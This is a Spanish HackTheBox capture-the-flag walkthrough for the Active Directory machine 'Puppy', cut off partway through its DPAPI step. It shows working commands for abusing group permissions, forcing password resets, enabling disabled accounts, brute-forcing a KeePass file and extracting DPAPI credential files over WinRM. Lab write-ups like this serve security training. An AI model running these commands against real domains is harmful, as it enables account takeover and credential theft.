Puppy – HackTheBox Link to heading
- OS: Windows
- Difficulty / Dificultad : Medium / Media
- Platform / Plataforma: HackTheBox

Sinopsis Link to heading
“Puppy” es una máquina de dificultad Media de la plataforma HackTheBox enfocada en Active Directory (AD). Esta máquina se centra en un entorno AD -en el cual se asume una brecha, donde se empezamos con credenciales dadas- el cual enseña movimientos laterales en AD, habilitar cuentas deshabilitadas, extraer credenciales de archivos KeePass y credenciales de archivos Data Protection API (DPAPI).
levi.james:KingofAkron2025!User / Usuario Link to heading
Empezamos con un rápido escaneo con Nmap buscando por puertos TCP abiertos:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.129.246.234
Del escaneo encontramos 5 puertos abiertos, donde los principales son: 53 Domain Name System (DNS), 135 Microsoft RPC, y 445 Server Message Block (SMB). Aplicamos algunos scripts de reconocimiento sobre estos puertos utilizando la flag -sVC con Nmap:
❯ sudo nmap -sVC -p53,111,135,139,445 10.129.246.234
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-18 18:29 -04
Nmap scan report for 10.129.246.234
Host is up (0.39s latency).
PORT    STATE SERVICE       VERSION
53/tcp  open  domain        Simple DNS Plus
111/tcp open  rpcbind       2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp open  msrpc         Microsoft Windows RPC
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 7h00m00s
| smb2-time:
|   date: 2025-05-19T05:30:29
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 459.46 seconds
Aparentemente, estamos ante un entorno Active Directory (AD).
También podemos usar la herramienta NetExec, junto con las credenciales dadas, para obtener información acerca de esta máquina y su dominio AD:
❯ nxc smb 10.129.246.234 -u 'levi.james' -p 'KingofAkron2025!'
SMB         10.129.246.234  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.246.234  445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!
Tenemos un nombre de máquina DC y un dominio PUPPY.HTB.
Por ende, agregamos el nombre de la máquina, dominio y FQDN (DC.PUPPY.HTB), junto con su IP, a nuestro archivo /etc/hosts en nuestra máquina de atacantes:
❯ echo '10.129.246.234 DC DC.PUPPY.HTB PUPPY.HTB' | sudo tee -a /etc/hosts
Si revisamos por recursos compartidos a través del servicio SMB con NetExec encontramos una carpeta llamada DEV. Sin embargo, no tenemos permisos para leer su contenido:
❯ nxc smb 10.129.246.234 -u 'levi.james' -p 'KingofAkron2025!' --shares
SMB         10.129.246.234  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.246.234  445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB         10.129.246.234  445    DC               [*] Enumerated shares
SMB         10.129.246.234  445    DC               Share           Permissions     Remark
SMB         10.129.246.234  445    DC               -----           -----------     ------
SMB         10.129.246.234  445    DC               ADMIN$                          Remote Admin
SMB         10.129.246.234  445    DC               C$                              Default share
SMB         10.129.246.234  445    DC               DEV                             DEV-SHARE for PUPPY-DEVS
SMB         10.129.246.234  445    DC               IPC$            READ            Remote IPC
SMB         10.129.246.234  445    DC               NETLOGON        READ            Logon server share
SMB         10.129.246.234  445    DC               SYSVOL          READ            Logon server share
Para obtener más información acerca del dominio podemos utilizar la herramienta bloodhound-python (la cual puede ser instalada con pip3 install bloodhound o pipx install bloodhound, yo recomiendo fuertemente la segunda) junto con las credenciales dadas para el usuario levi.james:
❯ bloodhound-python -c ALL -u 'levi.james' -p 'KingofAkron2025!' -d PUPPY.HTB -ns 10.129.246.234 --zip
INFO: Found AD domain: puppy.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 10 users
INFO: Found 56 groups
INFO: Found 3 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.PUPPY.HTB
INFO: Done in 01M 04S
INFO: Compressing output into 20250518184119_bloodhound.zip
Aunque vemos un error KRB_AP_ERR_SKEW(Clock skew too great), el comando se ejecuta correctamente y genera un archivo .zipel cual podemos utilizar en Bloodhound.
Iniciamos Bloodhound (en mi caso utilizo la versión Community Edition, o CE) y subimos el archivo .zip generado a éste. Une ves hemos subido el archivo y éste se termina de cargar, buscamos por el usuario levi.james. Podemos ver si este usuario tiene permisos sobre otros objetos (usuarios, cuentas u otros objetos del dominio) clickeando en la opción Outbound Object Control. Podemos ver así:

El usuario levi.james es miembro del grupo HR. Los miembros de este grupo tienen el permiso GenericWrite sobre un grupo llamado DEVELOPERS. Esto quiere decir que el usuario levi.james tiene los permisos de agregar cualquier usuario a este grupo. Por tanto, nos agregamos a nosotros mismos (el usuario levi.james) al grupo DEVELOPERS utilizando la herramienta bloodyAD:
❯ bloodyAD -d PUPPY.HTB --host DC.PUPPY.HTB -u 'levi.james' -p 'KingofAkron2025!' add groupMember 'DEVELOPERS' 'levi.james'
[+] levi.james added to DEVELOPERS
Una vez hemos agregado al usuario levi.james al grupo DEVELOPERS, volvemos a revisar los recursos compartidos por SMB. Ahora que somos parte de este nuevo grupo, sí podemos leer el contenido de la carpeta compartida DEV:
❯ nxc smb 10.129.246.234 -u 'levi.james' -p 'KingofAkron2025!' --shares
SMB         10.129.246.234  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.246.234  445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB         10.129.246.234  445    DC               [*] Enumerated shares
SMB         10.129.246.234  445    DC               Share           Permissions     Remark
SMB         10.129.246.234  445    DC               -----           -----------     ------
SMB         10.129.246.234  445    DC               ADMIN$                          Remote Admin
SMB         10.129.246.234  445    DC               C$                              Default share
SMB         10.129.246.234  445    DC               DEV             READ            DEV-SHARE for PUPPY-DEVS
SMB         10.129.246.234  445    DC               IPC$            READ            Remote IPC
SMB         10.129.246.234  445    DC               NETLOGON        READ            Logon server share
SMB         10.129.246.234  445    DC               SYSVOL          READ            Logon server share
DEVELOPERS a su estado original cada cierto tiempo (~15 minutos).Revisamos el contenido de la carpeta compartida DEV usando NetExec y las credenciales del usuario levi.james gracias a que ahora tenemos los permisos para hacerlo:
❯ nxc smb 10.129.246.234 -u 'levi.james' -p 'KingofAkron2025!' --spider 'DEV' --pattern .
SMB         10.129.246.234  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.246.234  445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB         10.129.246.234  445    DC               [*] Started spidering
SMB         10.129.246.234  445    DC               [*] Spidering .
SMB         10.129.246.234  445    DC               //10.129.246.234/DEV/. [dir]
SMB         10.129.246.234  445    DC               //10.129.246.234/DEV/.. [dir]
SMB         10.129.246.234  445    DC               //10.129.246.234/DEV/KeePassXC-2.7.9-Win64.msi [lastm:'2025-03-23 04:09' size:34394112]
SMB         10.129.246.234  445    DC               //10.129.246.234/DEV/recovery.kdbx [lastm:'2025-03-11 23:25' size:2677]
SMB         10.129.246.234  445    DC               //10.129.246.234/DEV/Projects/. [dir]
SMB         10.129.246.234  445    DC               //10.129.246.234/DEV/Projects/.. [dir]
SMB         10.129.246.234  445    DC               [*] Done spidering (Completed in 3.352356433868408)
❯ nxc smb 10.129.246.234 -u 'levi.james' -p 'KingofAkron2025!' --spider 'DEV/Projects' --pattern .
SMB         10.129.246.234  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.246.234  445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB         10.129.246.234  445    DC               [*] Started spidering
SMB         10.129.246.234  445    DC               [*] Spidering .
SMB         10.129.246.234  445    DC               [*] Done spidering (Completed in 0.2704143524169922)
Hay un archivo .msi, el cual es usualmente utilizado para instalar software, para KeePass junto con su versión 2.7.9 y un archivo .kdbx (llamado recovery.kdbx) el cual es el formato que KeePass utiliza para sus archivos.
Descargamos el archivo KeePass utilizando nuevamente NetExec:
❯ nxc smb 10.129.246.234 -u 'levi.james' -p 'KingofAkron2025!' --share 'DEV' --get-file 'recovery.kdbx' 'recovery.kdbx'
SMB         10.129.246.234  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.246.234  445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB         10.129.246.234  445    DC               [*] Copying "recovery.kdbx" to "recovery.kdbx"
SMB         10.129.246.234  445    DC               [+] File "recovery.kdbx" was downloaded to "recovery.kdbx"
Como esperábamos, este es un archivo para KeePass:
❯ file recovery.kdbx
recovery.kdbx: Keepass password database 2.x KDBX
Un problema es que no podemos extraer el hash que protege a este archivo utilizando keepass2john dado que la versión del archivo no lo permite:
❯ keepass2john recovery.kdbx
! recovery.kdbx : File version '40000' is currently not supported!
Esto ocurre para versiones más nuevas de KeePass y por ello keepass2john está levemente obsoleto.
No obstante, podemos intentar un Brute Force Password Login (intentar loguear por fuerza bruta) usando una herramienta llamada keepass4brute (la cual, a su vez, también necesita la herramienta keepassxc-cli; ésta puede ser instalada con sudo apt install keepassxc -y) la cual intentará abrir el archivo .kdbx usando fuerza bruta. Esta herramienta es un simple script de Bash el cual trata de abrir el archivo .kdbx usando keepassxc-cli dado un diccionario de contraseñas. Clonamos esta herramienta:
❯  git clone https://github.com/r3nt0n/keepass4brute.git -q
❯ cd keepass4brute
Y la usamos utilizando el diccionario rockyou.txt como diccionario de contraseñas:
❯ ./keepass4brute.sh ../../content/recovery.kdbx /usr/share/wordlists/rockyou.txt
keepass4brute 1.3 by r3nt0n
https://github.com/r3nt0n/keepass4brute
[+] Words tested: 36/14344392 - Attempts per minute: 52 - Estimated time remaining: 27 weeks, 2 days
[+] Current attempt: liverpool
[*] Password found: liverpool
Obtenemos una contraseña para este archivo: liverpool.
Podemos ahora utilizar keepassxc-cli para revisar su contenido:
❯ keepassxc-cli ls recovery.kdbx
Enter password to unlock recovery.kdbx: liverpool
JAMIE WILLIAMSON
ADAM SILVER
ANTONY C. EDWARDS
STEVE TUCKER
SAMUEL BLAKE
Tenemos 5 diferentes entradas para lo que parecen ser usuarios.
Podemos hacer un simple oneliner en Bash el cual proveee la contraseña maestra (liverpool) a keepassxc-cli y revisa el contenido para cada una de las entradas:
❯ for user in "JAMIE WILLIAMSON" "ADAM SILVER" "ANTONY C. EDWARDS" "STEVE TUCKER" "SAMUEL BLAKE"; do echo -e "\n[+] Checking content for entry '$user'"; echo 'liverpool' | keepassxc-cli show recovery.kdbx $user -s; done
[+] Checking content for entry 'JAMIE WILLIAMSON'
Enter password to unlock recovery.kdbx:
Title: JAMIE WILLIAMSON
UserName:
Password: JamieLove2025!
URL: puppy.htb
Notes:
Uuid: {5f112cf4-85ed-4d4d-bf0e-5e35da983367}
Tags:
[+] Checking content for entry 'ADAM SILVER'
Enter password to unlock recovery.kdbx:
Title: ADAM SILVER
UserName:
Password: HJKL2025!
URL: puppy.htb
Notes:
Uuid: {387b31a3-4a42-4352-ad9a-a42a70fa19f5}
Tags:
[+] Checking content for entry 'ANTONY C. EDWARDS'
Enter password to unlock recovery.kdbx:
Title: ANTONY C. EDWARDS
UserName:
Password: Antman2025!
URL: puppy.htb
Notes:
Uuid: {bfd9590f-b0c6-41f8-b2f5-7e6c5defa5e2}
Tags:
[+] Checking content for entry 'STEVE TUCKER'
Enter password to unlock recovery.kdbx:
Title: STEVE TUCKER
UserName:
Password: Steve2025!
URL: puppy.htb
Notes:
Uuid: {d51a238d-4fe4-4ede-bb83-e6bb6e48a0a1}
Tags:
[+] Checking content for entry 'SAMUEL BLAKE'
Enter password to unlock recovery.kdbx:
Title: SAMUEL BLAKE
UserName:
Password: ILY2025!
URL: puppy.htb
Notes:
Uuid: {d17c1358-f48b-4865-8ab6-15484dccb69b}
Tags:
Obtenemos contraseñas (campo Password) para 3 distintos usuarios.
Además, podemos revisar usuarios en el dominio utilizando NetExec:
❯ nxc smb 10.129.246.234 -u 'levi.james' -p 'KingofAkron2025!' --rid-brute | grep 'SidTypeUser' | awk '{print $6}' | awk -F '\' '{print $2}'
Administrator
Guest
krbtgt
DC$
levi.james
ant.edwards
adam.silver
jamie.williams
steph.cooper
steph.cooper_adm
Hacemos calzar la contraseña de la entrada JAMIE WILLIAMSON con el usuario jamie.williamson, la contraseña de ADAM SILVER con adam.silver y al contraseña de ANTONY C. EDWARDS con ant.edwards. Para probar cada contraseña con su respectivo usuario, podemos utilizar la flag --no-bruteforce para probar la primera contraseña con el primer usuario, la segunda contraseña con el segundo usuario y así:
❯ nxc smb 10.129.246.234 -u 'jamie.williamson' 'adam.silver' 'ant.edwards' -p 'JamieLove2025!' 'HJKL2025!' 'Antman2025!' --no-bruteforce
SMB         10.129.246.234  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.246.234  445    DC               [-] PUPPY.HTB\jamie.williamson:JamieLove2025! STATUS_LOGON_FAILURE
SMB         10.129.246.234  445    DC               [-] PUPPY.HTB\adam.silver:HJKL2025! STATUS_LOGON_FAILURE
SMB         10.129.246.234  445    DC               [+] PUPPY.HTB\ant.edwards:Antman2025!
Obtenemos credenciales válidas: ant.edwards:Antman2025!.
De vuelta a Bloodhound vemos qué es lo que puede realizar este nuevo usuario. Ahora podemos ver:

El usuario ant.edwards es miembro del grupo SENIOR DEVS. Los miembros de este grupo tienen el permiso GenericAll sobre el usuario adam.silver.
Intenté realizar un ataque Shadow Credentials sobre este usuario, pero no funcionó dado que el servicio LDAP (que usualmente corre por el puerto 389) no está disponible. Usando targetedKerberoast.py tampoco funcionó:
❯ faketime "$(ntpdate -q PUPPY.HTB | cut -d ' ' -f 1,2)" python3 targetedKerberoast.py -vv -d PUPPY.HTB -u 'ant.edwards' -p 'Antman2025!' --request-user 'adam.silver' --dc-ip 10.129.246.234
[*] Starting kerberoast attacks
[*] Attacking user (adam.silver)
[DEBUG] {}
Por tanto, la única opción que queda es cambiar forzosamente la contraseña de este usuario (lo cual siempre debería de ser la última opción en la vida real). Para este propósito podemos utilizar nuevamente bloodyAD:
❯ bloodyAD --host 10.129.246.234 -d PUPPY.HTB -u 'ant.edwards' -p 'Antman2025!' set password 'adam.silver' 'gunzf0x123$!'
[+] Password changed successfully!
Y revisar los cambios con NetExec:
❯ nxc smb 10.129.246.234 -u 'adam.silver' -p 'gunzf0x123$!'
SMB         10.129.246.234  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.246.234  445    DC               [-] PUPPY.HTB\adam.silver:gunzf0x123$! STATUS_ACCOUNT_DISABLED
Obtenemos STATUS_ACCOUNT_DISABLED lo cual significa que la contraseña es correcta, pero que el usuario no está habilitado.
Esto lo podemos revisar de igual manera con bloodyAD:
❯ bloodyAD --host 10.129.246.234 -d PUPPY.HTB -u 'ant.edwards' -p 'Antman2025!' get object 'adam.silver' --attr userAccountControl
distinguishedName: CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB
userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD
Podemos ver el atributo ACCOUNTDISABLE.
Basados en la documentación de Microsoft para userAccountControl, si definimos la propiedad userAccountControl a un valor de 512, el cual es el valor para NORMAL_ACCOUNT, deberíamos de “habilitar” la cuenta. Dado que ant.edwards puede modificar las propiedades del usuario adam.silver gracias al permiso GenericAll (también conocido como FullControl), podemos utilizar esta cuenta para habilitar a adam.silver modificando el valor de su atributo userAccountControl a 512. Esto debería de ser fácil con bloodyAD:
❯ bloodyAD --host 10.129.246.234 -d PUPPY.HTB -u 'ant.edwards' -p 'Antman2025!' set object 'adam.silver' userAccountControl -v '512'
Traceback (most recent call last):
  File "/home/gunzf0x/.local/bin/bloodyAD", line 8, in <module>
    sys.exit(main())
             ^^^^^^
  File "/home/gunzf0x/.local/lib/python3.12/site-packages/bloodyAD/main.py", line 144, in main
    output = args.func(conn, **params)
             ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/gunzf0x/.local/lib/python3.12/site-packages/bloodyAD/cli_modules/set.py", line 26, in object
    conn.ldap.bloodymodify(
  File "/home/gunzf0x/.local/lib/python3.12/site-packages/bloodyAD/network/ldap.py", line 217, in bloodymodify
    raise err
msldap.commons.exceptions.LDAPModifyException: LDAP Modify operation failed on DN CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB! Result code: "invalidAttributeSyntax" Reason: "b'00000057: LdapErr: DSID-0C091330, comment: Error in attribute conversion operation, data 0, v4f7c\x00'"
Pero obtenemos un error: invalidAttributeSyntax.
Esto ocurre porque, en mi caso, la versión de bloodyAD que tenía instalada era una algo antigua:
❯ pip3 list | grep bloodyAD
bloodyAD                     2.0.8
En mi caso resolví esto desinstalando bloodyAD (que tenía instalado con pip3) e instalando una versión más actualizada con pipx:
❯ pip3 uninstall bloodyAD
❯ pipx install bloodyAD
<SNIP>
❯ pipx list | grep 'bloodyAD' -B 1
   package bloodyad 2.1.13, installed using Python 3.12.9
    - bloodyAD
Si esta vez volvemos a ejecutar el comando anterior, éste sí funciona:
❯ bloodyAD --host 10.129.246.234 -d PUPPY.HTB -u 'ant.edwards' -p 'Antman2025!' set object 'adam.silver' userAccountControl -v '512'
[+] adam.silver's userAccountControl has been updated
Revisando los atributos para adam.silver podemos ver que ahora su atributo userAccountControl ha sido establecido a NORMAL_ACCOUNT:
❯ bloodyAD --host 10.129.246.234 -d PUPPY.HTB -u 'ant.edwards' -p 'Antman2025!' get object 'adam.silver' --attr userAccountControl
distinguishedName: CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB
userAccountControl: NORMAL_ACCOUNT
adam.silver cada cierto tiempo de ser necesario.Ahora sí tenemos acceso a esta cuenta:
❯ nxc smb 10.129.246.234 -u 'adam.silver' -p 'gunzf0x123$!'
SMB         10.129.246.234  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.246.234  445    DC               [+] PUPPY.HTB\adam.silver:gunzf0x123$!
En Bloodhound podemos revisar si este usuario es parte del grupo Remote Management Users, lo cual significa que este usuario debería de ser capaz de acceder a la máquina víctima a través del servicio WinRM. Incluso si en nuestro escaneo inicial el servicio WinRM no estaba disponible, vale la pena intentar si esto funciona:
❯ nxc winrm 10.129.246.234 -u 'adam.silver' -p 'gunzf0x123$!'
WINRM       10.129.246.234  5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
WINRM       10.129.246.234  5985   DC               [+] PUPPY.HTB\adam.silver:gunzf0x123$! (Pwn3d!)
Funcionó. Tenemos acceso por WinRM.
Accedemos a la máquina víctima a través de WinRM utilizando la herramienta evil-winrm junto con las credenciales modificadas de adam.silver:
❯ evil-winrm -i PUPPY.HTB -u 'adam.silver' -p 'gunzf0x123$!'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\adam.silver\Documents>
Podemos extraer la flag de usuario en el Desktop del usuario adam.silver.
NT Authority/System - Administrador Link to heading
En la ruta C:\ hay una carpeta llamada Backup:
*Evil-WinRM* PS C:\Users\adam.silver\Documents> dir C:\
    Directory: C:\
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          5/9/2025  10:48 AM                Backups
d-----         5/12/2025   5:21 PM                inetpub
d-----          5/8/2021   1:20 AM                PerfLogs
d-r---          4/4/2025   3:40 PM                Program Files
d-----          5/8/2021   2:40 AM                Program Files (x86)
d-----          3/8/2025   9:00 AM                StorageReports
d-r---          3/8/2025   8:52 AM                Users
d-----         5/13/2025   4:40 PM                Windows
Esta carpeta contiene un archivo .zip:
*Evil-WinRM* PS C:\Users\adam.silver\Documents> dir C:\Backups
    Directory: C:\Backups
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          3/8/2025   8:22 AM        4639546 site-backup-2024-12-30.zip
Lo descargamos en nuestra máquina de atacantes utilizando la función download de evil-winrm:
*Evil-WinRM* PS C:\Users\adam.silver\Documents> download C:\\Backups\\site-backup-2024-12-30.zip
Info: Downloading C:\Backups\site-backup-2024-12-30.zip to site-backup-2024-12-30.zip
Info: Download successful!
Luego, extraemos/descomprimimos el archivo descargado:
❯ unzip site-backup-2024-12-30.zip -d site-backup
Archive:  site-backup-2024-12-30.zip
   creating: site-backup/puppy/
  inflating: site-backup/puppy/nms-auth-config.xml.bak
   creating: site-backup/puppy/images/
  inflating: site-backup/puppy/images/banner.jpg
  inflating: site-backup/puppy/images/jamie.jpg
<SNIP>
Hay un archivo con un llamativo nombre puppy/nms-auth-config.xml.bak.
Leemos su contenido:
❯ cat site-backup/puppy/nms-auth-config.xml.bak
<?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
    <server>
        <host>DC.PUPPY.HTB</host>
        <port>389</port>
        <base-dn>dc=PUPPY,dc=HTB</base-dn>
        <bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
        <bind-password>ChefSteph2025!</bind-password>
    </server>
    <user-attributes>
        <attribute name="username" ldap-attribute="uid" />
        <attribute name="firstName" ldap-attribute="givenName" />
        <attribute name="lastName" ldap-attribute="sn" />
        <attribute name="email" ldap-attribute="mail" />
    </user-attributes>
    <group-attributes>
        <attribute name="groupName" ldap-attribute="cn" />
        <attribute name="groupMember" ldap-attribute="member" />
    </group-attributes>
    <search-filter>
        <filter>(&(objectClass=person)(uid=%s))</filter>
    </search-filter>
</ldap-config>
Donde podemos ver unas líneas interesantes:
<bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
<bind-password>ChefSteph2025!</bind-password>
Tenemos una contraseña para el usuario steph.cooper, un usuario el cual sabemos que existe en el dominio (el cual podemos ver cuando extrajimos los usuarios con NetExec o simplemente revisando Bloodhound).
Revisamos si estas credenciales funcionan para este nuevo usuario en el servicio SMB:
❯ nxc smb 10.129.246.234 -u 'steph.cooper' -p 'ChefSteph2025!'
SMB         10.129.246.234  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.246.234  445    DC               [+] PUPPY.HTB\steph.cooper:ChefSteph2025!
Funcionan.
Desde Bloodhound, y también utilizando NetExec, podemos ver que este usuario puede conectarse al servicio WinRM en la máquina víctima gracias a que es parte del grupo Remote Management Users:
❯ nxc winrm 10.129.246.234 -u 'steph.cooper' -p 'ChefSteph2025!'
WINRM       10.129.246.234  5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
WINRM       10.129.246.234  5985   DC               [+] PUPPY.HTB\steph.cooper:ChefSteph2025! (Pwn3d!)
Nos conectamos como steph.cooper usando evil-winrm:
❯ evil-winrm -i PUPPY.HTB -u 'steph.cooper' -p 'ChefSteph2025!'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\steph.cooper\Documents>
Para buscar por archivos sensibles del sistema podemos utilizar WinPEAS (el cual puede ser descargado desde su repositorio de Github). Descargamos el binario:
❯ wget https://github.com/peass-ng/PEASS-ng/releases/download/20250518-5781f7e5/winPEASx64.exe -q
Y luego, subimos el binario ejecutable desde nuestra máquina de atacantes a la máquina víctima utilizando la función upload de evil-winrm (lo cual tomará un tiempo, así que recomiendo paciencia):
*Evil-WinRM* PS C:\Users\steph.cooper\Documents> upload winPEASx64.exe winPEAS.exe
Info: Uploading /home/gunzf0x/HTB/HTBMachines/Medium/Puppy/exploits/winPEASx64.exe to C:\Users\steph.cooper\Documents\winPEAS.exe
Data: 13525672 bytes of 13525672 bytes copied
Una vez descargado en la máquina de atacantes, ejecutamos el binario para recolectar información:
*Evil-WinRM* PS C:\Users\steph.cooper\Documents> .\winPEAS.exe
<SNIP>
ÉÍÍÍÍÍÍÍÍÍ͹ Checking for DPAPI Master Keys
È  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi
    MasterKey: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407
    Accessed: 3/8/2025 7:40:36 AM
    Modified: 3/8/2025 7:40:36 AM
   =================================================================================================
ÉÍÍÍÍÍÍÍÍÍ͹ Checking for DPAPI Credential Files
È  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi
    CredFile: C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D
    Description: Local Credential Data
    MasterKey: 556a2412-1275-4ccf-b721-e6a0b4f90407
    Accessed: 3/8/2025 8:14:09 AM
    Modified: 3/8/2025 8:14:09 AM
    Size: 11068
   =================================================================================================
    CredFile: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9
    Description: Enterprise Credential Data
    MasterKey: 556a2412-1275-4ccf-b721-e6a0b4f90407
    Accessed: 3/8/2025 7:54:29 AM
    Modified: 3/8/2025 7:54:29 AM
    Size: 414
   =================================================================================================
<SNIP>
Encontramos credenciales para Data Protection API (DPAPI).
Podemos revisar manualmente esto también:
*Evil-WinRM* PS C:\Users\steph.cooper\Documents> Get-ChildItem -Hidden C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\
    Directory: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          3/8/2025   7:54 AM            414 C8D69EBE9A43E9DEBF6B5FBD48B521B9
Usando el comando download de evil-winrm sobre este archivo no funciona:
*Evil-WinRM* PS C:\Users\steph.cooper\Documents> download C:\\Users\\steph.cooper\\AppData\\Roaming\\Microsoft\\Credentials\\C8D69EBE9A43E9DEBF6B5FBD48B521B9
Info: Downloading C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 to C8D69EBE9A43E9DEBF6B5FBD48B521B9
Error: Download failed. Check filenames or paths: uninitialized constant WinRM::FS::FileManager::EstandardError
Esto es porque este archivo está marcado como Hidden (oculto).
Como alternativa, podemos pasar el contenido del archivo a base64:
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9'))
AQAAAJIBAAAAAAAAAQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAEiRqVXUSz0y3IeagtPkEBwAAACA6AAAARQBuAHQAZQByAHAAcgBpAHMAZQAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABEAGEAdABhAA0ACgAAAANmAADAAAAAEAAAAHEb7RgOmv+9Na4Okf93s5UAAAAABIAAAKAAAAAQAAAACtD/ejPwVzLZOMdWJSHNcNAAAAAxXrMDYlY3P7k8AxWLBmmyKBrAVVGhfnfVrkzLQu2ABNeu0R62bEFJ0CdfcBONlj8Jg2mtcVXXWuYPSiVDse/sOudQSf3ZGmYhCz21A8c6JCGLjWuS78fQnyLW5RVLLzZp2+6gEcSU1EsxFdHCp9cT1fHIHl0cXbIvGtfUdeIcxPq/nN5PY8TR3T8i7rw1h5fEzlCX7IFzIu0avyGPnrIDNgButIkHWX+xjrzWKXGEiGrMkbgiRvfdwFxb/XrET9Op8oGxLkI6Mr8QmFZbjS41FAAAADqxkFzw7vbQSYX1LftJiaf2waSc
Y decodearlo en nuestra máquina de atacantes:
